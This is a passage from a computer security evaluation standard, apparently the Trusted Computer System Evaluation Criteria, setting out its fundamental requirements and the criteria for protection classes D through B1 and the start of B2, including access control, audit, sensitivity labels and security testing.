- mechanisms that can be independently evaluated to provide sufficient assurance
- that the system enforces requirements 1 through 4 above. In order to assure
- that the four requirements of Security Policy, Marking, Identification, and
- Accountability are enforced by a computer system, there must be some
- identified and unified collection of hardware and software controls that
- perform those functions. These mechanisms are typically embedded in the
- operating system and are designed to carry out the assigned tasks in a secure
- manner. The basis for trusting such system mechanisms in their operational
- setting must be clearly documented such that it is possible to independently
- examine the evidence to evaluate their sufficiency.
-
- Requirement 6 - CONTINUOUS PROTECTION - The trusted mechanisms that enforce
- these basic requirements must be continuously protected against tampering
- and/or unauthorized changes. No computer system can be considered truly
- secure if the basic hardware and software mechanisms that enforce the security
- policy are themselves subject to unauthorized modification or subversion. The
- continuous protection requirement has direct implications throughout the
- computer system's life-cycle.
-
- These fundamental requirements form the basis for the individual evaluation
- criteria applicable for each evaluation division and class. The interested
- reader is referred to Section 5 of this document, "Control Objectives for
- Trusted Computer Systems," for a more complete discussion and further
- amplification of these fundamental requirements as they apply to
- general-purpose information processing systems and to Section 7 for
- amplification of the relationship between Policy and these requirements.
-
-
- Structure of the Document
-
- The remainder of this document is divided into two parts, four appendices, and
- a glossary. Part I (Sections 1 through 4) presents the detailed criteria
- derived from the fundamental requirements described above and relevant to the
- rationale and policy excerpts contained in Part II.
-
- Part II (Sections 5 through 10) provides a discussion of basic objectives,
- rationale, and national policy behind the development of the criteria, and
- guidelines for developers pertaining to: mandatory access control rules
- implementation, the covert channel problem, and security testing. It is
- divided into six sections. Section 5 discusses the use of control objectives
- in general and presents the three basic control objectives of the criteria.
- Section 6 provides the theoretical basis behind the criteria. Section 7 gives
- excerpts from pertinent regulations, directives, OMB Circulars, and Executive
- Orders which provide the basis for many trust requirements for processing
- nationally sensitive and classified information with computer systems.
- Section 8 provides guidance to system developers on expectations in dealing
- with the covert channel problem. Section 9 provides guidelines dealing with
- mandatory security. Section 10 provides guidelines for security testing.
- There are four appendices, including a description of the Trusted Computer
- System Commercial Products Evaluation Process (Appendix A), summaries of the
- evaluation divisions (Appendix B) and classes (Appendix C), and finally a
- directory of requirements ordered alphabetically. In addition, there is a
- glossary.
-
-
- Structure of the Criteria
-
- The criteria are divided into four divisions: D, C, B, and A ordered in a
- hierarchical manner with the highest division (A) being reserved for systems
- providing the most comprehensive security. Each division represents a major
- improvement in the overall confidence one can place in the system for the
- protection of sensitive information. Within divisions C and B there are a
- number of subdivisions known as classes. The classes are also ordered in a
- hierarchical manner with systems representative of division C and lower
- classes of division B being characterized by the set of computer security
- mechanisms that they possess. Assurance of correct and complete design and
- implementation for these systems is gained mostly through testing of the
- security- relevant portions of the system. The security-relevant portions of
- a system are referred to throughout this document as the Trusted Computing
- Base (TCB). Systems representative of higher classes in division B and
- division A derive their security attributes more from their design and
- implementation structure. Increased assurance that the required features are
- operative, correct, and tamperproof under all circumstances is gained through
- progressively more rigorous analysis during the design process.
-
- Within each class, four major sets of criteria are addressed. The first three
- represent features necessary to satisfy the broad control objectives of
- Security Policy, Accountability, and Assurance that are discussed in Part II,
- Section 5. The fourth set, Documentation, describes the type of written
- evidence in the form of user guides, manuals, and the test and design
- documentation required for each class.
-
- A reader using this publication for the first time may find it helpful to
- first read Part II, before continuing on with Part I.
-
-
-
-
- PART I: THE CRITERIA
-
- Highlighting (UPPERCASE) is used in Part I to indicate criteria not contained
- in a lower class or changes and additions to already defined criteria. Where
- there is no highlighting, requirements have been carried over from lower
- classes without addition or modification.
-
-
-
- 1.0 DIVISION D: MINIMAL PROTECTION
-
- This division contains only one class. It is reserved for those systems that
- have been evaluated but that fail to meet the requirements for a higher
- evaluation class.
-
-
-
- 2.0 DIVISION C: DISCRETIONARY PROTECTION
-
- Classes in this division provide for discretionary (need-to-know) protection
- and, through the inclusion of audit capabilities, for accountability of
- subjects and the actions they initiate.
-
-
- 2.1 CLASS (C1): DISCRETIONARY SECURITY PROTECTION
-
- The Trusted Computing Base (TCB) of a class (C1) system nominally satisfies
- the discretionary security requirements by providing separation of users and
- data. It incorporates some form of credible controls capable of enforcing
- access limitations on an individual basis, i.e., ostensibly suitable for
- allowing users to be able to protect project or private information and to
- keep other users from accidentally reading or destroying their data. The
- class (C1) environment is expected to be one of cooperating users processing
- data at the same level(s) of sensitivity. The following are minimal
- requirements for systems assigned a class (C1) rating:
-
- 2.1.1 SECURITY POLICY
-
- 2.1.1.1 Discretionary Access Control
-
- THE TCB SHALL DEFINE AND CONTROL ACCESS BETWEEN NAMED USERS AND
- NAMED OBJECTS (E.G., FILES AND PROGRAMS) IN THE ADP SYSTEM. THE
- ENFORCEMENT MECHANISM (E.G., SELF/GROUP/PUBLIC CONTROLS, ACCESS
- CONTROL LISTS) SHALL ALLOW USERS TO SPECIFY AND CONTROL SHARING
- OF THOSE OBJECTS BY NAMED INDIVIDUALS OR DEFINED GROUPS OR BOTH.
-
- 2.1.2 ACCOUNTABILITY
-
- 2.1.2.1 Identification and Authentication
-
- THE TCB SHALL REQUIRE USERS TO IDENTIFY THEMSELVES TO IT BEFORE
- BEGINNING TO PERFORM ANY OTHER ACTIONS THAT THE TCB IS EXPECTED
- TO MEDIATE. FURTHERMORE, THE TCB SHALL USE A PROTECTED
- MECHANISM (E.G., PASSWORDS) TO AUTHENTICATE THE USER'S IDENTITY.
- THE TCB SHALL PROTECT AUTHENTICATION DATA SO THAT IT CANNOT BE
- ACCESSED BY ANY UNAUTHORIZED USER.
-
- 2.1.3 ASSURANCE
-
- 2.1.3.1 Operational Assurance
-
- 2.1.3.1.1 System Architecture
-
- THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION
- THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING
- (E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES).
- RESOURCES CONTROLLED BY THE TCB MAY BE A DEFINED SUBSET
- OF THE SUBJECTS AND OBJECTS IN THE ADP SYSTEM.
-
- 2.1.3.1.2 System Integrity
-
- HARDWARE AND/OR SOFTWARE FEATURES SHALL BE PROVIDED THAT
- CAN BE USED TO PERIODICALLY VALIDATE THE CORRECT OPERATION
- OF THE ON-SITE HARDWARE AND FIRMWARE ELEMENTS OF THE TCB.
-
- 2.1.3.2 Life-Cycle Assurance
-
- 2.1.3.2.1 Security Testing
-
- THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED
- AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION.
- TESTING SHALL BE DONE TO ASSURE THAT THERE ARE NO OBVIOUS
- WAYS FOR AN UNAUTHORIZED USER TO BYPASS OR OTHERWISE
- DEFEAT THE SECURITY PROTECTION MECHANISMS OF THE TCB.
- (SEE THE SECURITY TESTING GUIDELINES.)
-
- 2.1.4 DOCUMENTATION
-
- 2.1.4.1 Security Features User's Guide
-
- A SINGLE SUMMARY, CHAPTER, OR MANUAL IN USER DOCUMENTATION
- SHALL DESCRIBE THE PROTECTION MECHANISMS PROVIDED BY THE TCB,
- GUIDELINES ON THEIR USE, AND HOW THEY INTERACT WITH ONE ANOTHER.
-
- 2.1.4.2 Trusted Facility Manual
-
- A MANUAL ADDRESSED TO THE ADP SYSTEM ADMINISTRATOR SHALL
- PRESENT CAUTIONS ABOUT FUNCTIONS AND PRIVILEGES THAT SHOULD BE
- CONTROLLED WHEN RUNNING A SECURE FACILITY.
-
- 2.1.4.3 Test Documentation
-
- THE SYSTEM DEVELOPER SHALL PROVIDE TO THE EVALUATORS A DOCUMENT
- THAT DESCRIBES THE TEST PLAN AND RESULTS OF THE SECURITY
- MECHANISMS' FUNCTIONAL TESTING.
-
- 2.1.4.4 Design Documentation
-
- DOCUMENTATION SHALL BE AVAILABLE THAT PROVIDES A DESCRIPTION OF
- THE MANUFACTURER'S PHILOSOPHY OF PROTECTION AND AN EXPLANATION
- OF HOW THIS PHILOSOPHY IS TRANSLATED INTO THE TCB. IF THE TCB
- IS COMPOSED OF DISTINCT MODULES, THE INTERFACES BETWEEN THESE
- MODULES SHALL BE DESCRIBED.
-
-
- 2.2 CLASS (C2): CONTROLLED ACCESS PROTECTION
-
- Systems in this class enforce a more finely grained discretionary access
- control than (C1) systems, making users individually accountable for their
- actions through login procedures, auditing of security-relevant events, and
- resource isolation. The following are minimal requirements for systems
- assigned a class (C2) rating:
-
- 2.2.1 SECURITY POLICY
-
- 2.2.1.1 Discretionary Access Control
-
- The TCB shall define and control access between named users and
- named objects (e.g., files and programs) in the ADP system. The
- enforcement mechanism (e.g., self/group/public controls, access
- control lists) shall allow users to specify and control sharing
- of those objects by named individuals, or defined groups OF
- INDIVIDUALS, or by both. THE DISCRETIONARY ACCESS CONTROL
- MECHANISM SHALL, EITHER BY EXPLICIT USER ACTION OR BY DEFAULT,
- PROVIDE THAT OBJECTS ARE PROTECTED FROM UNAUTHORIZED ACCESS.
- THESE ACCESS CONTROLS SHALL BE CAPABLE OF INCLUDING OR EXCLUDING
- ACCESS TO THE GRANULARITY OF A SINGLE USER. ACCESS PERMISSION
- TO AN OBJECT BY USERS NOT ALREADY POSSESSING ACCESS PERMISSION
- SHALL ONLY BE ASSIGNED BY AUTHORIZED USERS.
-
- 2.2.1.2 Object Reuse
-
- WHEN A STORAGE OBJECT IS INITIALLY ASSIGNED, ALLOCATED, OR
- REALLOCATED TO A SUBJECT FROM THE TCB'S POOL OF UNUSED STORAGE
- OBJECTS, THE TCB SHALL ASSURE THAT THE OBJECT CONTAINS NO DATA
- FOR WHICH THE SUBJECT IS NOT AUTHORIZED.
-
- 2.2.2 ACCOUNTABILITY
-
- 2.2.2.1 Identification and Authentication
-
- The TCB shall require users to identify themselves to it before
- beginning to perform any other actions that the TCB is expected
- to mediate. Furthermore, the TCB shall use a protected
- mechanism (e.g., passwords) to authenticate the user's identity.
- The TCB shall protect authentication data so that it cannot be
- accessed by any unauthorized user. THE TCB SHALL BE ABLE TO
- ENFORCE INDIVIDUAL ACCOUNTABILITY BY PROVIDING THE CAPABILITY TO
- UNIQUELY IDENTIFY EACH INDIVIDUAL ADP SYSTEM USER. THE TCB
- SHALL ALSO PROVIDE THE CAPABILITY OF ASSOCIATING THIS IDENTITY
- WITH ALL AUDITABLE ACTIONS TAKEN BY THAT INDIVIDUAL.
-
- 2.2.2.2 Audit
-
- THE TCB SHALL BE ABLE TO CREATE, MAINTAIN, AND PROTECT FROM
- MODIFICATION OR UNAUTHORIZED ACCESS OR DESTRUCTION AN AUDIT
- TRAIL OF ACCESSES TO THE OBJECTS IT PROTECTS. THE AUDIT DATA
- SHALL BE PROTECTED BY THE TCB SO THAT READ ACCESS TO IT IS
- LIMITED TO THOSE WHO ARE AUTHORIZED FOR AUDIT DATA. THE TCB
- SHALL BE ABLE TO RECORD THE FOLLOWING TYPES OF EVENTS: USE OF
- IDENTIFICATION AND AUTHENTICATION MECHANISMS, INTRODUCTION OF
- OBJECTS INTO A USER'S ADDRESS SPACE (E.G., FILE OPEN, PROGRAM
- INITIATION), DELETION OF OBJECTS, AND ACTIONS TAKEN BY
- COMPUTER OPERATORS AND SYSTEM ADMINISTRATORS AND/OR SYSTEM
- SECURITY OFFICERS. FOR EACH RECORDED EVENT, THE AUDIT RECORD
- SHALL IDENTIFY: DATE AND TIME OF THE EVENT, USER, TYPE OF
- EVENT, AND SUCCESS OR FAILURE OF THE EVENT. FOR
- IDENTIFICATION/AUTHENTICATION EVENTS THE ORIGIN OF REQUEST
- (E.G., TERMINAL ID) SHALL BE INCLUDED IN THE AUDIT RECORD. FOR
- EVENTS THAT INTRODUCE AN OBJECT INTO A USER'S ADDRESS SPACE AND
- FOR OBJECT DELETION EVENTS THE AUDIT RECORD SHALL INCLUDE THE
- NAME OF THE OBJECT. THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE
- TO SELECTIVELY AUDIT THE ACTIONS OF ANY ONE OR MORE USERS BASED
- ON INDIVIDUAL IDENTITY.
-
- 2.2.3 ASSURANCE
-
- 2.2.3.1 Operational Assurance
-
- 2.2.3.1.1 System Architecture
-
- The TCB shall maintain a domain for its own execution
- that protects it from external interference or tampering
- (e.g., by modification of its code or data structures).
- Resources controlled by the TCB may be a defined subset
- of the subjects and objects in the ADP system. THE TCB
- SHALL ISOLATE THE RESOURCES TO BE PROTECTED SO THAT THEY
- ARE SUBJECT TO THE ACCESS CONTROL AND AUDITING
- REQUIREMENTS.
-
- 2.2.3.1.2 System Integrity
-
- Hardware and/or software features shall be provided that
- can be used to periodically validate the correct operation
- of the on-site hardware and firmware elements of the TCB.
-
- 2.2.3.2 Life-Cycle Assurance
-
- 2.2.3.2.1 Security Testing
-
- The security mechanisms of the ADP system shall be tested
- and found to work as claimed in the system documentation.
- Testing shall be done to assure that there are no obvious
- ways for an unauthorized user to bypass or otherwise
- defeat the security protection mechanisms of the TCB.
- TESTING SHALL ALSO INCLUDE A SEARCH FOR OBVIOUS FLAWS THAT
- WOULD ALLOW VIOLATION OF RESOURCE ISOLATION, OR THAT WOULD
- PERMIT UNAUTHORIZED ACCESS TO THE AUDIT OR AUTHENTICATION
- DATA. (See the Security Testing guidelines.)
-
- 2.2.4 DOCUMENTATION
-
- 2.2.4.1 Security Features User's Guide
-
- A single summary, chapter, or manual in user documentation
- shall describe the protection mechanisms provided by the TCB,
- guidelines on their use, and how they interact with one another.
-
- 2.2.4.2 Trusted Facility Manual
-
- A manual addressed to the ADP system administrator shall
- present cautions about functions and privileges that should be
- controlled when running a secure facility. THE PROCEDURES FOR
- EXAMINING AND MAINTAINING THE AUDIT FILES AS WELL AS THE
- DETAILED AUDIT RECORD STRUCTURE FOR EACH TYPE OF AUDIT EVENT
- SHALL BE GIVEN.
-
- 2.2.4.3 Test Documentation
-
- The system developer shall provide to the evaluators a document
- that describes the test plan and results of the security
- mechanisms' functional testing.
-
- 2.2.4.4 Design Documentation
-
- Documentation shall be available that provides a description of
- the manufacturer's philosophy of protection and an explanation
- of how this philosophy is translated into the TCB. If the TCB
- is composed of distinct modules, the interfaces between these
- modules shall be described.
-
-
-
- 3.0 DIVISION B: MANDATORY PROTECTION
-
- The notion of a TCB that preserves the integrity of sensitivity labels and
- uses them to enforce a set of mandatory access control rules is a major
- requirement in this division. Systems in this division must carry the
- sensitivity labels with major data structures in the system. The system
- developer also provides the security policy model on which the TCB is based
- and furnishes a specification of the TCB. Evidence must be provided to
- demonstrate that the reference monitor concept has been implemented.
-
-
- 3.1 CLASS (B1): LABELED SECURITY PROTECTION
-
- Class (B1) systems require all the features required for class (C2). In
- addition, an informal statement of the security policy model, data labeling,
- and mandatory access control over named subjects and objects must be present.
- The capability must exist for accurately labeling exported information. Any
- flaws identified by testing must be removed. The following are minimal
- requirements for systems assigned a class (B1) rating:
-
- 3.1.1 SECURITY POLICY
-
- 3.1.1.1 Discretionary Access Control
-
- The TCB shall define and control access between named users and
- named objects (e.g., files and programs) in the ADP system.
- The enforcement mechanism (e.g., self/group/public controls,
- access control lists) shall allow users to specify and control
- sharing of those objects by named individuals, or defined groups
- of individuals, or by both. The discretionary access control
- mechanism shall, either by explicit user action or by default,
- provide that objects are protected from unauthorized access.
- These access controls shall be capable of including or excluding
- access to the granularity of a single user. Access permission
- to an object by users not already possessing access permission
- shall only be assigned by authorized users.
-
- 3.1.1.2 Object Reuse
-
- When a storage object is initially assigned, allocated, or
- reallocated to a subject from the TCB's pool of unused storage
- objects, the TCB shall assure that the object contains no data
- for which the subject is not authorized.
-
- 3.1.1.3 Labels
-
- SENSITIVITY LABELS ASSOCIATED WITH EACH SUBJECT AND STORAGE
- OBJECT UNDER ITS CONTROL (E.G., PROCESS, FILE, SEGMENT, DEVICE)
- SHALL BE MAINTAINED BY THE TCB. THESE LABELS SHALL BE USED AS
- THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS. IN ORDER TO
- IMPORT NON-LABELED DATA, THE TCB SHALL REQUEST AND RECEIVE FROM
- AN AUTHORIZED USER THE SECURITY LEVEL OF THE DATA, AND ALL SUCH
- ACTIONS SHALL BE AUDITABLE BY THE TCB.
-
- 3.1.1.3.1 Label Integrity
-
- SENSITIVITY LABELS SHALL ACCURATELY REPRESENT SECURITY
- LEVELS OF THE SPECIFIC SUBJECTS OR OBJECTS WITH WHICH THEY
- ARE ASSOCIATED. WHEN EXPORTED BY THE TCB, SENSITIVITY
- LABELS SHALL ACCURATELY AND UNAMBIGUOUSLY REPRESENT THE
- INTERNAL LABELS AND SHALL BE ASSOCIATED WITH THE
- INFORMATION BEING EXPORTED.
-
- 3.1.1.3.2 Exportation of Labeled Information
-
- THE TCB SHALL DESIGNATE EACH COMMUNICATION CHANNEL AND
- I/O DEVICE AS EITHER SINGLE-LEVEL OR MULTILEVEL. ANY
- CHANGE IN THIS DESIGNATION SHALL BE DONE MANUALLY AND
- SHALL BE AUDITABLE BY THE TCB. THE TCB SHALL MAINTAIN
- AND BE ABLE TO AUDIT ANY CHANGE IN THE CURRENT SECURITY
- LEVEL ASSOCIATED WITH A SINGLE-LEVEL COMMUNICATION
- CHANNEL OR I/O DEVICE.
-
- 3.1.1.3.2.1 Exportation to Multilevel Devices
-
- WHEN THE TCB EXPORTS AN OBJECT TO A MULTILEVEL I/O
- DEVICE, THE SENSITIVITY LABEL ASSOCIATED WITH THAT
- OBJECT SHALL ALSO BE EXPORTED AND SHALL RESIDE ON
- THE SAME PHYSICAL MEDIUM AS THE EXPORTED
- INFORMATION AND SHALL BE IN THE SAME FORM
- (I.E., MACHINE-READABLE OR HUMAN-READABLE FORM).
- WHEN THE TCB EXPORTS OR IMPORTS AN OBJECT OVER A
- MULTILEVEL COMMUNICATION CHANNEL, THE PROTOCOL
- USED ON THAT CHANNEL SHALL PROVIDE FOR THE
- UNAMBIGUOUS PAIRING BETWEEN THE SENSITIVITY LABELS
- AND THE ASSOCIATED INFORMATION THAT IS SENT OR
- RECEIVED.
-
- 3.1.1.3.2.2 Exportation to Single-Level Devices
-
- SINGLE-LEVEL I/O DEVICES AND SINGLE-LEVEL
- COMMUNICATION CHANNELS ARE NOT REQUIRED TO
- MAINTAIN THE SENSITIVITY LABELS OF THE INFORMATION
- THEY PROCESS. HOWEVER, THE TCB SHALL INCLUDE A
- MECHANISM BY WHICH THE TCB AND AN AUTHORIZED USER
- RELIABLY COMMUNICATE TO DESIGNATE THE SINGLE
- SECURITY LEVEL OF INFORMATION IMPORTED OR EXPORTED
- VIA SINGLE-LEVEL COMMUNICATION CHANNELS OR I/O
- DEVICES.
-
- 3.1.1.3.2.3 Labeling Human-Readable Output
-
- THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE TO
- SPECIFY THE PRINTABLE LABEL NAMES ASSOCIATED WITH
- EXPORTED SENSITIVITY LABELS. THE TCB SHALL MARK
- THE BEGINNING AND END OF ALL HUMAN-READABLE, PAGED,
- HARDCOPY OUTPUT (E.G., LINE PRINTER OUTPUT) WITH
- HUMAN-READABLE SENSITIVITY LABELS THAT PROPERLY*
- REPRESENT THE SENSITIVITY OF THE OUTPUT. THE TCB
- SHALL, BY DEFAULT, MARK THE TOP AND BOTTOM OF EACH
- PAGE OF HUMAN-READABLE, PAGED, HARDCOPY OUTPUT
- (E.G., LINE PRINTER OUTPUT) WITH HUMAN-READABLE
- SENSITIVITY LABELS THAT PROPERLY* REPRESENT THE
- OVERALL SENSITIVITY OF THE OUTPUT OR THAT PROPERLY*
- REPRESENT THE SENSITIVITY OF THE INFORMATION ON THE
- PAGE. THE TCB SHALL, BY DEFAULT AND IN AN
- APPROPRIATE MANNER, MARK OTHER FORMS OF HUMAN-
- READABLE OUTPUT (E.G., MAPS, GRAPHICS) WITH HUMAN-
- READABLE SENSITIVITY LABELS THAT PROPERLY*
- REPRESENT THE SENSITIVITY OF THE OUTPUT. ANY
- OVERRIDE OF THESE MARKING DEFAULTS SHALL BE
- AUDITABLE BY THE TCB.
-
-
- _____________________________________________________________
- * THE HIERARCHICAL CLASSIFICATION COMPONENT IN HUMAN-READABLE
- SENSITIVITY LABELS SHALL BE EQUAL TO THE GREATEST
- HIERARCHICAL CLASSIFICATION OF ANY OF THE INFORMATION IN THE
- OUTPUT THAT THE LABELS REFER TO; THE NON-HIERARCHICAL
- CATEGORY COMPONENT SHALL INCLUDE ALL OF THE NON-HIERARCHICAL
- CATEGORIES OF THE INFORMATION IN THE OUTPUT THE LABELS REFER
- TO, BUT NO OTHER NON-HIERARCHICAL CATEGORIES.
- _____________________________________________________________
-
-
- 3.1.1.4 Mandatory Access Control
-
- THE TCB SHALL ENFORCE A MANDATORY ACCESS CONTROL POLICY OVER
- ALL SUBJECTS AND STORAGE OBJECTS UNDER ITS CONTROL (E.G.,
- PROCESSES, FILES, SEGMENTS, DEVICES). THESE SUBJECTS AND
- OBJECTS SHALL BE ASSIGNED SENSITIVITY LABELS THAT ARE A
- COMBINATION OF HIERARCHICAL CLASSIFICATION LEVELS AND
- NON-HIERARCHICAL CATEGORIES, AND THE LABELS SHALL BE USED AS
- THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS. THE TCB
- SHALL BE ABLE TO SUPPORT TWO OR MORE SUCH SECURITY LEVELS.
- (SEE THE MANDATORY ACCESS CONTROL GUIDELINES.) THE FOLLOWING
- REQUIREMENTS SHALL HOLD FOR ALL ACCESSES BETWEEN SUBJECTS AND
- OBJECTS CONTROLLED BY THE TCB: A SUBJECT CAN READ AN OBJECT
- ONLY IF THE HIERARCHICAL CLASSIFICATION IN THE SUBJECT'S
- SECURITY LEVEL IS GREATER THAN OR EQUAL TO THE HIERARCHICAL
- CLASSIFICATION IN THE OBJECT'S SECURITY LEVEL AND THE NON-
- HIERARCHICAL CATEGORIES IN THE SUBJECT'S SECURITY LEVEL INCLUDE
- ALL THE NON-HIERARCHICAL CATEGORIES IN THE OBJECT'S SECURITY
- LEVEL. A SUBJECT CAN WRITE AN OBJECT ONLY IF THE HIERARCHICAL
- CLASSIFICATION IN THE SUBJECT'S SECURITY LEVEL IS LESS THAN OR
- EQUAL TO THE HIERARCHICAL CLASSIFICATION IN THE OBJECT'S
- SECURITY LEVEL AND ALL THE NON-HIERARCHICAL CATEGORIES IN THE
- SUBJECT'S SECURITY LEVEL ARE INCLUDED IN THE NON- HIERARCHICAL
- CATEGORIES IN THE OBJECT'S SECURITY LEVEL.
-
- 3.1.2 ACCOUNTABILITY
-
- 3.1.2.1 Identification and Authentication
-
- The TCB shall require users to identify themselves to it before
- beginning to perform any other actions that the TCB is expected
- to mediate. Furthermore, the TCB shall MAINTAIN AUTHENTICATION
- DATA THAT INCLUDES INFORMATION FOR VERIFYING THE IDENTITY OF
- INDIVIDUAL USERS (E.G., PASSWORDS) AS WELL AS INFORMATION FOR
- DETERMINING THE CLEARANCE AND AUTHORIZATIONS OF INDIVIDUAL
- USERS. THIS DATA SHALL BE USED BY THE TCB TO AUTHENTICATE the
- user's identity AND TO DETERMINE THE SECURITY LEVEL AND
- AUTHORIZATIONS OF SUBJECTS THAT MAY BE CREATED TO ACT ON BEHALF
- OF THE INDIVIDUAL USER. The TCB shall protect authentication
- data so that it cannot be accessed by any unauthorized user.
- The TCB shall be able to enforce individual accountability by
- providing the capability to uniquely identify each individual
- ADP system user. The TCB shall also provide the capability of
- associating this identity with all auditable actions taken by
- that individual.
-
- 3.1.2.2 Audit
-
- The TCB shall be able to create, maintain, and protect from
- modification or unauthorized access or destruction an audit
- trail of accesses to the objects it protects. The audit data
- shall be protected by the TCB so that read access to it is
- limited to those who are authorized for audit data. The TCB
- shall be able to record the following types of events: use of
- identification and authentication mechanisms, introduction of
- objects into a user's address space (e.g., file open, program
- initiation), deletion of objects, and actions taken by computer
- operators and system administrators and/or system security
- officers. THE TCB SHALL ALSO BE ABLE TO AUDIT ANY OVERRIDE OF
- HUMAN-READABLE OUTPUT MARKINGS. FOR each recorded event, the
- audit record shall identify: date and time of the event, user,
- type of event, and success or failure of the event. For
- identification/authentication events the origin of request
- (e.g., terminal ID) shall be included in the audit record.
- For events that introduce an object into a user's address space
- and for object deletion events the audit record shall include
- the name of the object AND THE OBJECT'S SECURITY LEVEL. The
- ADP system administrator shall be able to selectively audit the
- actions of any one or more users based on individual identity
- AND/OR OBJECT SECURITY LEVEL.
-
- 3.1.3 ASSURANCE
-
- 3.1.3.1 Operational Assurance
-
- 3.1.3.1.1 System Architecture
-
- The TCB shall maintain a domain for its own execution
- that protects it from external interference or tampering
- (e.g., by modification of its code or data structures).
- Resources controlled by the TCB may be a defined subset
- of the subjects and objects in the ADP system. THE TCB
- SHALL MAINTAIN PROCESS ISOLATION THROUGH THE PROVISION OF
- DISTINCT ADDRESS SPACES UNDER ITS CONTROL. The TCB shall
- isolate the resources to be protected so that they are
- subject to the access control and auditing requirements.
- 3.1.3.1.2 System Integrity
-
- Hardware and/or software features shall be provided that
- can be used to periodically validate the correct operation
- of the on-site hardware and firmware elements of the TCB.
-
- 3.1.3.2 Life-Cycle Assurance
-
- 3.1.3.2.1 Security Testing
-
- THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED
- AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION.
- A TEAM OF INDIVIDUALS WHO THOROUGHLY UNDERSTAND THE
- SPECIFIC IMPLEMENTATION OF THE TCB SHALL SUBJECT ITS
- DESIGN DOCUMENTATION, SOURCE CODE, AND OBJECT CODE TO
- THOROUGH ANALYSIS AND TESTING. THEIR OBJECTIVES SHALL BE:
- TO UNCOVER ALL DESIGN AND IMPLEMENTATION FLAWS THAT WOULD
- PERMIT A SUBJECT EXTERNAL TO THE TCB TO READ, CHANGE, OR
- DELETE DATA NORMALLY DENIED UNDER THE MANDATORY OR
- DISCRETIONARY SECURITY POLICY ENFORCED BY THE TCB; AS WELL
- AS TO ASSURE THAT NO SUBJECT (WITHOUT AUTHORIZATION TO DO
- SO) IS ABLE TO CAUSE THE TCB TO ENTER A STATE SUCH THAT
- IT IS UNABLE TO RESPOND TO COMMUNICATIONS INITIATED BY
- OTHER USERS. ALL DISCOVERED FLAWS SHALL BE REMOVED OR
- NEUTRALIZED AND THE TCB RETESTED TO DEMONSTRATE THAT THEY
- HAVE BEEN ELIMINATED AND THAT NEW FLAWS HAVE NOT BEEN
- INTRODUCED. (SEE THE SECURITY TESTING GUIDELINES.)
-
- 3.1.3.2.2 Design Specification and Verification
-
- AN INFORMAL OR FORMAL MODEL OF THE SECURITY POLICY
- SUPPORTED BY THE TCB SHALL BE MAINTAINED THAT IS SHOWN TO
- BE CONSISTENT WITH ITS AXIOMS.
-
- 3.1.4 DOCUMENTATION
-
- 3.1.4.1 Security Features User's Guide
-
- A single summary, chapter, or manual in user documentation
- shall describe the protection mechanisms provided by the TCB,
- guidelines on their use, and how they interact with one another.
-
- 3.1.4.2 Trusted Facility Manual
-
- A manual addressed to the ADP system administrator shall
- present cautions about functions and privileges that should be
- controlled when running a secure facility. The procedures for
- examining and maintaining the audit files as well as the
- detailed audit record structure for each type of audit event
- shall be given. THE MANUAL SHALL DESCRIBE THE OPERATOR AND
- ADMINISTRATOR FUNCTIONS RELATED TO SECURITY, TO INCLUDE CHANGING
- THE SECURITY CHARACTERISTICS OF A USER. IT SHALL PROVIDE
- GUIDELINES ON THE CONSISTENT AND EFFECTIVE USE OF THE PROTECTION
- FEATURES OF THE SYSTEM, HOW THEY INTERACT, HOW TO SECURELY
- GENERATE A NEW TCB, AND FACILITY PROCEDURES, WARNINGS, AND
- PRIVILEGES THAT NEED TO BE CONTROLLED IN ORDER TO OPERATE THE
- FACILITY IN A SECURE MANNER.
-
- 3.1.4.3 Test Documentation
-
- The system developer shall provide to the evaluators a document
- that describes the test plan and results of the security
- mechanisms' functional testing.
-
- 3.1.4.4 Design Documentation
-
- Documentation shall be available that provides a description of
- the manufacturer's philosophy of protection and an explanation
- of how this philosophy is translated into the TCB. If the TCB
- is composed of distinct modules, the interfaces between these
- modules shall be described. AN INFORMAL OR FORMAL DESCRIPTION
- OF THE SECURITY POLICY MODEL ENFORCED BY THE TCB SHALL BE
- AVAILABLE AND AN EXPLANATION PROVIDED TO SHOW THAT IT IS
- SUFFICIENT TO ENFORCE THE SECURITY POLICY. THE SPECIFIC TCB
- PROTECTION MECHANISMS SHALL BE IDENTIFIED AND AN EXPLANATION
- GIVEN TO SHOW THAT THEY SATISFY THE MODEL.
-
-
- 3.2 CLASS (B2): STRUCTURED PROTECTION
-
- In class (B2) systems, the TCB is based on a clearly defined and documented
- formal security policy model that requires the discretionary and mandatory
- access control enforcement found in class (B1) systems be extended to all
- subjects and objects in the ADP system. In addition, covert channels are
- addressed. The TCB must be carefully structured into protection-critical and
- non- protection-critical elements. The TCB interface is well-defined and the
- TCB design and implementation enable it to be subjected to more thorough
- testing and more complete review. Authentication mechanisms are strengthened,
- trusted facility management is provided in the form of support for system
- administrator and operator functions, and stringent configuration management
- controls are imposed. The system is relatively resistant to penetration. The
- following are minimal requirements for systems assigned a class (B2) rating:
-
- 3.2.1 SECURITY POLICY
-
- 3.2.1.1 Discretionary Access Control
-
- The TCB shall define and control access between named users and
- named objects (e.g., files and programs) in the ADP system.
- The enforcement mechanism (e.g., self/group/public controls,
- access control lists) shall allow users to specify and control
- sharing of those objects by named individuals, or defined
- groups of individuals, or by both. The discretionary access
- control mechanism shall, either by explicit user action or by
- default, provide that objects are protected from unauthorized
- access. These access controls shall be capable of including
- or excluding access to the granularity of a single user.
- Access permission to an object by users not already possessing
- access permission shall only be assigned by authorized users.
-
- 3.2.1.2 Object Reuse
-
- When a storage object is initially assigned, allocated, or
- reallocated to a subject from the TCB's pool of unused storage
- objects, the TCB shall assure that the object contains no data
- for which the subject is not authorized.
-
- 3.2.1.3 Labels
-
- Sensitivity labels associated with each ADP SYSTEM RESOURCE
- (E.G., SUBJECT, STORAGE OBJECT) THAT IS DIRECTLY OR INDIRECTLY
